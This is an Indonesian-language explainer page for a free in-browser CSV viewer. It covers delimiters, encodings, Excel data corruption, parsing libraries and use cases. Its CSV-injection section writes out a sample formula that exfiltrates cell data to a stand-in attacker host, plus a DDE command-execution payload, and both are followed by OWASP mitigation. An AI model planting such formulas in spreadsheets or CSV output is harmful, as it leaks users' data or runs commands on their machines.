Penampil CSV Gratis
Lihat, urutkan, dan cari data CSV secara seketika. Mendukung beberapa pemisah dengan deteksi otomatis. Unggah atau tempel teks CSV untuk menganalisis data Anda.
Unggah file CSV atau tempel teks CSV untuk memulai.
Tentang file CSV
CSV (Comma-Separated Values) adalah format teks sederhana untuk menyimpan data tabular. Setiap baris mewakili satu baris data dan koma memisahkan kolom. CSV banyak digunakan untuk pertukaran data antara aplikasi, basis data, dan spreadsheet.
Karakteristik CSV:
- Format universal: didukung oleh Excel, Google Sheets, basis data, dan sebagian besar alat data
- Sederhana dan portabel: teks polos, dapat dibaca manusia, berfungsi di platform mana pun
- Bidang yang dikutip: nilai yang berisi koma atau jeda baris dapat diapit oleh tanda kutip
- Beberapa pemisah: koma, titik koma, tab, atau bilah vertikal
- Header opsional: baris pertama dapat berisi nama kolom
Bagaimana cara mengekspor data sebagai CSV?
Di Excel: Save As → CSV (pemisah: titik koma). Di Google Sheets: File → Download → CSV. Di sebagian besar basis data: Export → format CSV. CSV adalah format ekspor standar untuk data tabular.
Bagaimana jika CSV saya berisi karakter khusus?
CSV menangani karakter khusus melalui pengutipan. Bidang yang berisi koma, tanda kutip, atau jeda baris harus diapit oleh tanda kutip ganda. Karakter khusus seperti é, ñ, atau emoji dipertahankan jika file menggunakan pengkodean UTF-8.
Bagaimana cara kerja deteksi pemisah otomatis?
Alat ini menganalisis baris pertama CSV Anda untuk mendeteksi pemisah mana yang muncul paling teratur. Untuk hasil terbaik dengan pemisah yang tidak biasa, pilih secara manual dari daftar drop-down.
Mengapa "menampilkan CSV tanpa Excel" adalah kasus penggunaan tersendiri
Jawaban naif untuk "bagaimana saya membuka CSV?" adalah "klik ganda; Excel membukanya." Jawaban itu salah untuk sebagian besar orang yang sebenarnya perlu melihat CSV. Alasan terbagi menjadi empat ember, dan masing-masing adalah alasan nyata untuk mendarat di penampil berbasis browser seperti ini.
1. Excel menghancurkan data saat dibuka. Contoh yang paling banyak dikutip adalah bencana nama gen, Excel membaca MARCH1 dan menulis 1-Mar, membaca SEPT2 dan menulis 2-Sep. Komite Nomenklatur Gen HUGO menyerah melawan Excel dan mengganti nama dua puluh tujuh gen manusia pada 2020 karena kerusakan data sangat meluas. Sebuah makalah PLOS Computational Biology 2020 yang melihat 3.597 makalah menemukan kira-kira seperlima dari data genetik tambahan telah diam-diam diubah oleh konversi otomatis Excel. Gen adalah kasus terkenal tetapi mekanisme yang sama memakan kode ZIP AS (01234 menjadi 1234), SKU produk dengan nol di depan, notasi pecahan dalam musik atau kimia (3/4, 4/4), nomor seri berbentuk tanggal (1-1, 2-2), ekstensi telepon, dan nomor rekening dalam notasi ilmiah (9.18e+12 bukannya 9180000000000). Sebuah penampil, sesuatu yang menampilkan byte mentah sebagaimana ditulis, bukan hanya kenyamanan; itu adalah primitif kebenaran. Jika Anda harus memverifikasi sekumpulan ID pelanggan bertahan dari ekspor utuh, Anda memerlukan penampil yang tidak mengurai, tidak memaksa, tidak "membantu."
2. Excel tidak ada di mesin. Sebagian besar laptop yang tidak sepele di tahun 2026 tidak memiliki lisensi Microsoft 365. Chromebook dikirimkan tanpa itu; banyak instalasi Linux menggunakan LibreOffice Calc dengan keanehan sendiri; banyak pengguna Mac membuka CSV di Apple Numbers, yang secara diam-diam membungkus baris panjang dan memiliki kepribadian pemaksaan angka sendiri. Siapa pun yang mencoba memeriksa file di mesin yang diterbitkan perusahaan yang tidak dapat menginstal perangkat lunak di atasnya, atau di perangkat pinjaman, atau di kiosk, memerlukan alat yang berjalan di tab browser apa pun tanpa izin.
3. File lebih besar dari yang diizinkan Excel. Excel 2007 memperkenalkan .xlsx dan menaikkan batas atas baris dari 65.536 baris .xls ke 1.048.576 baris (2²⁰). Batas kolom berubah dari 256 menjadi 16.384 (2¹⁴). Selama dua dekade itu cukup untuk sebagian besar orang. Itu tidak lagi cukup untuk banyak. Log server yang sederhana dapat menghasilkan dua juta baris dalam seminggu. Ekspor Shopify dari satu tahun pesanan untuk toko ukuran menengah dapat melebihi satu juta. Aliran sensor sampling pada satu hertz menghasilkan 86.400 baris per hari; setahun adalah 31,5 juta. Penanganan overflow Excel brutal: ia diam-diam memotong pada baris 1.048.576 dan berlanjut seolah tidak ada yang terjadi. Tidak ada banner peringatan. Pengguna menemukan baris yang hilang berminggu-minggu kemudian, jika ada.
4. Mobile. Aplikasi spreadsheet di iOS dan Android adalah warga kelas dua. Aplikasi mobile Excel ada tetapi terkurung di balik akun Microsoft, memiliki subset kecil dari fitur desktop, dan menyakitkan untuk memeriksa tabel lebar di telepon. Kadang-kadang Anda hanya perlu membuka lampiran yang dikirimkan rekan kerja melalui email, melihat beberapa baris, mengambil tangkapan layar, dan membalas. Penampil CSV yang dimuat di browser mobile, memformat data sebagai tabel HTML yang dapat di-scroll, dan tidak melakukan apa pun selain itu adalah alat terbaik untuk pekerjaan itu.
Dan ember kelima yang lebih kecil: tangkapan layar untuk pesan. Sering kali yang sebenarnya diinginkan seseorang adalah visualisasi bersih dari tiga atau empat baris yang dapat mereka tempel ke Slack, ke tiket, ke balasan email. Membuka file di Excel dan mengambil tangkapan layar dari itu menghasilkan gambar dengan ribbon, garis grid, pemilih sel aktif, dan garis path file di bagian atas, dua puluh persen dari tangkapan layar adalah chrome Excel. Tabel HTML telanjang yang dirender di tab browser adalah subjek tangkapan layar terbersih yang mungkin.
Sejarah singkat (bagian yang penting untuk melihat)
Sejarah CSV lengkap ada di halaman teman text-to-csv, IBM Fortran 1972, dekade penggunaan informal, RFC 4180 akhirnya diterbitkan pada Oktober 2005 oleh Yakov Shafranovich, tipe MIME text/csv terdaftar di IANA, W3C Model for Tabular Data and Metadata on the Web (CSVW) mencapai status W3C Recommendation pada 17 Desember 2015 (dan sebagian besar diabaikan dalam praktik). Yang penting untuk melihat secara khusus adalah bahwa tidak ada satu pun dari dokumen-dokumen tersebut yang menentukan bagaimana menampilkan CSV. Tidak ada lebar kolom kanonik, tidak ada konvensi penjajaran, tidak ada aturan tentang apakah baris 1 adalah header. RFC 4180 memberi tahu penulis cara menghindari koma; itu tidak memberi tahu pembaca apa pun tentang cara render. Pekerjaan penampil tidak ditentukan oleh spesifikasi.
Yang kita miliki adalah konvensi yang muncul dalam perangkat lunak spreadsheet (rata kiri teks, rata kanan angka, bekukan baris pertama, warna baris bergantian untuk keterbacaan) dan konvensi dari tabel web (header yang dapat diurutkan, posisi sticky, input pencarian di atas grid). Penampil CSV modern pada dasarnya adalah UI spreadsheet dikurangi pengeditan.
Perangkap pemisah-lokal dan BOM
Kekacauan pemisah lokal yang menggigit penulis CSV juga menggigit pembaca, koma di en-US, titik koma di fr-FR / de-DE / it-IT / es-ES / pt-BR, tab dan pipe di mana pun lainnya. Penampil yang mengkode keras koma dan merender "CSV" Prancis sebagai satu kolom per baris rusak saat tiba. Default "Auto-detect" alat ini dengan override manual adalah desain yang tepat: cobalah lakukan hal yang cerdas, tetapi ketika heuristik gagal (dan akan, pada file dengan satu kolom nilai yang semuanya kebetulan berisi koma), pengguna dapat memilih.
Byte-order mark, tiga byte EF BB BF di awal file UTF-8, mengkodekan U+FEFF, ada karena Excel di Windows menolak mendeteksi UTF-8 tanpa itu. Penulis CSV yang sopan menambahkan BOM untuk ramah Excel; biaya jatuh pada setiap pembaca lain. Hampir setiap alat baris perintah, awk, cut, head, tail, sed lama, memperlakukan BOM sebagai bagian dari bidang pertama. Header kolom yang seharusnya membaca name membaca name. Modul csv built-in Python tidak menghapus BOM kecuali file dibuka dengan codec utf-8-sig; sejuta tutorial menggunakan utf-8 biasa dan diam-diam menghasilkan parser yang rusak. Jika Anda melihat karakter aneh sebelum header kolom pertama, itu adalah byte-order mark UTF-8, bukan bug di file, hanya ketidakcocokan antara encoder dan decoder.
Empat varian CSV Excel
Dialog Save As Excel menawarkan empat format "CSV", dan labelnya menyesatkan. Label "Comma delimited" sebenarnya menggunakan pemisah daftar lokal pengguna, yang adalah titik koma di sebagian besar Eropa Kontinental dan Amerika Latin.
- CSV (Comma delimited): menggunakan pemisah daftar lokal pengguna, halaman kode ANSI, tanpa BOM, CRLF.
- CSV UTF-8 (Comma delimited): ditambahkan di Excel 2016, satu-satunya dari empat yang menggunakan UTF-8 (dengan BOM).
- CSV (Macintosh): encoding MacRoman, ending baris CR-only Mac klasik, sebagian besar usang tapi masih muncul.
- CSV (MS-DOS): halaman kode OEM (CP437 di en-US, CP850 di Eropa Barat).
Penampil yang ingin "hanya bekerja" di setiap varian harus mendeteksi pengkodean (UTF-8 ± BOM, UTF-16 dengan BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), akhiran baris (CRLF / LF / CR), pemisah (koma / titik koma / tab / pipe / kustom), gaya kutipan (RFC 4180 doubled-quote, backslash, none), dan kehadiran header. Mendeteksi semua ini secara andal benar-benar sulit. Pendekatan pragmatis adalah: deteksi apa yang bisa, ekspos override manual untuk sisanya, dan jangan pernah gagal secara diam-diam. Alat ini mengekspos pembatas secara manual, yang menangani kejutan paling umum. Saat ini tidak mengekspos pengkodean, CSV Prancis yang diekspor sebagai Windows-1252 dengan karakter beraksen akan menampilkan mojibake (é bukannya é) hingga itu juga mendapat override yang tepat.
Parsing sisi-browser, perpustakaan
Pustaka CSV sisi-klien yang dominan adalah PapaParse, dibuat oleh Matt Holt pada 2013 dan saat ini sekitar 13,4k bintang GitHub. Slogannya, "parser CSV in-browser tercepat", bukan hiperbola. Itu sesuai RFC 4180, berlisensi MIT, bebas-ketergantungan, dan mendukung parsing string sinkron, parsing file async melalui FileReader, parsing streaming chunk-by-chunk untuk file lebih besar dari RAM, dan parsing worker-thread untuk menjaga UI responsif. PapaParse adalah default di alat CSV sisi-browser mana pun kecuali ada alasan khusus untuk tidak.
Di sisi Node, pilihan kanonis adalah csv-parse (Adaltas, pertama dirilis 2010), teruji pertempuran, mengekspos baik API berbasis callback maupun berbasis stream. csv-parser oleh mafintosh memprioritaskan throughput mentah daripada lebar fitur. fast-csv (C2FO) adalah pasangan parser-dan-formatter yang dibangun TypeScript untuk toko-toko yang ingin membaca dan menulis di pustaka yang sama.
Streaming untuk file lebih besar dari RAM
Pembacaan CSV naif di browser menggunakan FileReader.readAsText(file), yang membaca seluruh file ke memori sebelum memanggil onload. Untuk file seratus megabyte, itu seratus megabyte heap JavaScript. Untuk file satu gigabyte, tab browser akan kehabisan memori atau thrash hingga berhenti pada sebagian besar perangkat keras konsumen.
Alternatif modern adalah Streams API, tersedia sebagai File.prototype.stream() sejak Chrome 71 dan Firefox 65. Memanggil file.stream() mengembalikan ReadableStream<Uint8Array> yang menghasilkan byte file dalam chunk. Konsumen membaca dari aliran, mendekode setiap chunk melalui TextDecoder (dengan flag stream: true sehingga urutan UTF-8 multi-byte yang melintasi batas chunk dijahit dengan benar), dan memberi makan teks ke parser streaming. PapaParse dapat mencerna aliran secara langsung melalui callback step atau chunk-nya. Hasilnya adalah parsing memori konstan untuk file yang ukurannya sembarang.
Untuk penampil, streaming saja tidak cukup, tabel yang dirender juga harus divirtualisasi, jika tidak rendering sepuluh juta elemen <tr> mengkrash halaman bahkan jika parsing berhasil. Pola arsitektur standar: stream-parse-to-IndexedDB saat memuat, virtualised-render-from-IndexedDB saat scroll. Alat ini saat ini dioptimalkan untuk file di puluhan megabyte rendah, untuk alur kerja "Saya hanya ingin melihat file ini" yang khas yang mencakup hampir semua orang. Untuk CSV multi-gigabyte, lihat alat desktop seperti Visidata, klausa FROM CLI DuckDB, atau csvlook csvkit.
Sortir, filter, pivot, lansekap grid JavaScript
Setelah data ada di halaman, pengguna ingin melakukan tiga hal: mengurutkan menurut kolom, memfilter baris, terkadang melakukan pivot. Ada seluruh industri pustaka JavaScript yang menerapkan kembali ini di DOM browser:
- DataTables.js oleh Allan Jardine (pekerjaan dimulai 2008, SpryMedia dibentuk 2011) adalah kakek. Ambil HTML
<table>apa pun, dapatkan header yang dapat diurutkan, input pencarian instan, paginasi, dan kontrol tampilkan/sembunyikan kolom. Awalnya berbasis jQuery; bekerja dengan baik sebagai drop-in. Nyaman hingga puluhan ribu baris; untuk ratusan ribu paginasi menjadi penopang beban. - AG Grid oleh Niall Crosby (2015, lahir dari frustrasi Crosby dengan grid di lantai perdagangan London) adalah kelas berat. Dibangun di sekitar virtualisasi DOM, hanya baris yang terlihat di viewport yang sebenarnya dirender, sehingga dapat dengan nyaman menampilkan sejuta baris dengan satu scrollbar. Community Edition gratis (MIT) plus Enterprise Edition berbayar (tabel pivot, filter lanjutan, grafik terintegrasi, model baris sisi-server). Pilihan default untuk "Saya sedang membangun alat data serius yang perlu terlihat seperti Excel di browser."
- Tabulator oleh Oli Folkerd adalah alternatif modern bebas ketergantungan. Versi 4.0 (2018) melepaskan semua ketergantungan termasuk jQuery; duduk di titik manis antara "DataTables terlalu beraroma jQuery" dan "AG Grid terlalu banyak."
Untuk pivot secara khusus, PivotTable.js oleh Nicolas Kruchten adalah pustaka JS yang paling banyak dikutip; mode pivot AG Grid Enterprise adalah pilihan komersial. Pivot adalah operasi berat yang sering lebih baik dilakukan dengan mengekspor data ke alat yang dapat mengindeksnya terlebih dahulu.
CSV vs Apache Parquet untuk beban kerja analitik
Alasan CSV bertahan bersifat budaya dan inersia, bukan teknis. Untuk analitik serius, format yang telah memakan makan siang CSV adalah Apache Parquet, format kolumnar biner yang awalnya dikembangkan bersama oleh insinyur di Twitter dan Cloudera pada 2013, diterima sebagai proyek tingkat atas Apache Software Foundation pada 27 April 2015. Parquet menyimpan data kolom-demi-kolom daripada baris-demi-baris, yang merupakan inversi yang penting untuk analitik: kueri seperti SELECT AVG(price) FROM big_table hanya membaca kolom price dari disk, melewatkan setiap kolom lain sepenuhnya. Dengan CSV, kueri yang sama harus membaca setiap byte file.
Parquet juga membawa metadata skema (sehingga jenis eksplisit, bukan disimpulkan), menggunakan kompresi kolumnar yang secara rutin mencapai rasio 5-10x dibanding CSV yang tidak terkompresi, dan mendukung predicate pushdown sehingga engine dapat melewati seluruh grup baris berdasarkan statistik kolom. Ini adalah format file default di Snowflake, BigQuery, Databricks, Amazon Athena, dan pada dasarnya setiap gudang data cloud modern dan lakehouse. Jika Anda berulang kali melihat file skala-gigabyte yang sama, pertimbangkan Parquet, lebih cepat dan lebih kecil dan hampir setiap alat data modern membacanya secara native. CSV sekarang paling baik dipahami sebagai format pertukaran antara manusia dan ekor panjang perangkat lunak konsumen, sementara Parquet adalah format penyimpanan antar mesin.
CSV injection, sudut keamanan
CSV injection, kadang-kadang disebut formula injection, adalah serangan di mana nilai dalam sel CSV dimulai dengan =, +, -, atau @, menyebabkan Excel dan Google Sheets menafsirkannya sebagai formula saat file dibuka. OWASP telah mendokumentasikan ini setidaknya sejak 2014. Contoh buku teks adalah =2+5 dirender sebagai 7 alih-alih sebagai teks literal. Contoh berbahaya adalah =HYPERLINK("https://evil.example/log?d="&A1, "Click for results") yang, ketika diklik, mengekstrak isi sel A1 ke penyerang. Contoh yang sangat berbahaya adalah =cmd|'/c calc'!A0, yang pada versi Excel tertentu dapat meluncurkan perintah sewenang-wenang melalui DDE, secara substansial dimitigasi oleh perubahan DDE default Microsoft 2018, tetapi masih ada di beberapa konfigurasi.
Mitigasi standar, sesuai panduan OWASP: ketika menghasilkan CSV dari teks yang dikirimkan pengguna, tambahkan kutipan tunggal sebelum sel apa pun yang dimulai dengan =, +, -, @, tab, atau carriage-return. Penampil adalah ujung penerima dari serangan ini, bukan ujung asal, tetapi jika Anda membuka CSV di sini yang berisi sel berawalan formula, itu adalah petunjuk kuat untuk tidak membuka file yang sama di Excel tanpa terlebih dahulu mengganti sel-sel itu. Seluruh tujuan memeriksa dulu di penampil adalah untuk menangkap jenis jebakan ini.
Tempat dunia nyata orang membuka penampil semacam ini
- CSV pernyataan bank atau fintech. Sebagian besar bank ritel membiarkan pelanggan mengunduh setahun riwayat transaksi sebagai CSV. Pelanggan ingin melihat file sebelum mengimpor ke aplikasi penganggaran, alat pajak, atau spreadsheet akuntan, memverifikasi rentang tanggal, menghitung transaksi, mencari pedagang tertentu.
- Ekspor data IoT dan sensor. CSV stasiun cuaca, log sensor kelembaban tanah, ekspor meter listrik rumah pintar. Sering puluhan ribu baris. Pengguna mengkonfirmasi sampling berlanjut melalui interval tertentu dan tidak ada celah.
- Dump log server. Format log gabungan Apache dikonversi ke CSV, catatan syslog diekspor melalui
logger -t, log aplikasi dikirim ke S3 dan diunduh untuk pemeriksaan. - Ekspor CRM dan SaaS. Ekspor Akun Salesforce, kontak HubSpot, pelanggan Stripe, audiens Mailchimp, pesanan Shopify, basis data Notion. Setiap platform SaaS memiliki format CSV dan keanehannya sendiri. Pengguna memeriksa sebelum bulk-edit, sebelum re-import, atau sebelum menyerahkan file kepada rekan kerja.
- Tanggapan survei. Google Forms, SurveyMonkey, Typeform, Qualtrics, semua mengekspor CSV secara default. Peneliti ingin melihat tanggapan open-text, mendapatkan rasa distribusi, memverifikasi tidak ada yang kosong.
- Unduhan data publik. Portal data terbuka pemerintah (data.gov, data.gov.uk, EU Open Data Portal), ekspor data Wikipedia, repositori data ilmiah. CSV adalah penyebut universal.
- Persiapan impor massal. Pengguna menyusun CSV secara manual atau dengan alat lain dan ingin memverifikasi bahwa itu well-formed sebelum mengunggahnya ke sistem yang akan diam-diam menolak baris yang salah bentuk. Penampil adalah uji coba.
- Pewarisan. Rekan kerja mengirim CSV. Pengguna tidak tahu apa isinya. Mereka ingin melihat sekilas sebelum memutuskan apakah akan terlibat lebih dalam.
Pertanyaan lainnya
Seberapa besar file yang dapat dibuka ini?
Implementasi saat ini nyaman dengan file di puluhan megabyte rendah, jenis yang mudah cocok di memori browser dan dirender sebagai tabel HTML yang wajar. Untuk file di ratusan megabyte atau lebih besar, halaman akan lambat; untuk file ke gigabyte, tab browser dapat kehabisan memori dan mengkrash. Untuk CSV yang sangat besar, lihat alat desktop seperti Visidata, csvlook csvkit, atau FROM 'file.csv' SELECT CLI DuckDB.
Mengapa CSV saya terlihat seperti satu kolom raksasa?
Deteksi pembatas otomatis menebak salah. Ini paling umum ketika file menggunakan titik koma (sebagian besar Eropa kontinental), tab (file TSV salah label sebagai CSV), atau pipa (beberapa ekspor basis data). Ganti dropdown pembatas ke karakter yang benar, sering ekstensi file dan konten aktual tidak setuju.
Karakter beraksen saya terlihat seperti sampah. Apa yang salah?
Ketidakcocokan pengkodean, file dikodekan dalam Windows-1252 (atau pengkodean non-UTF-8 lainnya) dan alat menafsirkannya sebagai UTF-8. Gejala klasik adalah é muncul sebagai é. Penampil saat ini tidak mengekspos override pengkodean, tetapi Anda dapat menyimpan ulang file sebagai UTF-8 di editor teks modern mana pun (Notepad++, VS Code, BBEdit, gedit, bahkan Notepad di Windows terbaru) dan membukanya kembali di sini.
Haruskah saya menggunakan ini atau langsung membukanya di Excel?
Jika CSV Anda hanya berisi data yang tidak dapat dirusak Excel secara tidak sengaja, kolom teks prosa murni, bilangan bulat polos dalam rentang normal, tanggal dalam format yang diharapkan Excel, Excel baik-baik saja dan alat pengeditannya lebih kaya. Jika CSV Anda berisi apa pun yang mungkin ditulis ulang Excel (nama gen, kode ZIP dengan nol di depan, pecahan seperti 3/4, string berbentuk notasi ilmiah, apa pun yang perlu Anda pertahankan byte-demi-byte), buka di penampil terlebih dahulu untuk mengkonfirmasi apa yang sebenarnya ada di dalamnya sebelum membiarkan Excel menyentuhnya. Jam yang Anda habiskan membukanya di sini jauh lebih murah daripada menemukan seminggu kemudian bahwa Excel mengganti nama set gen Anda.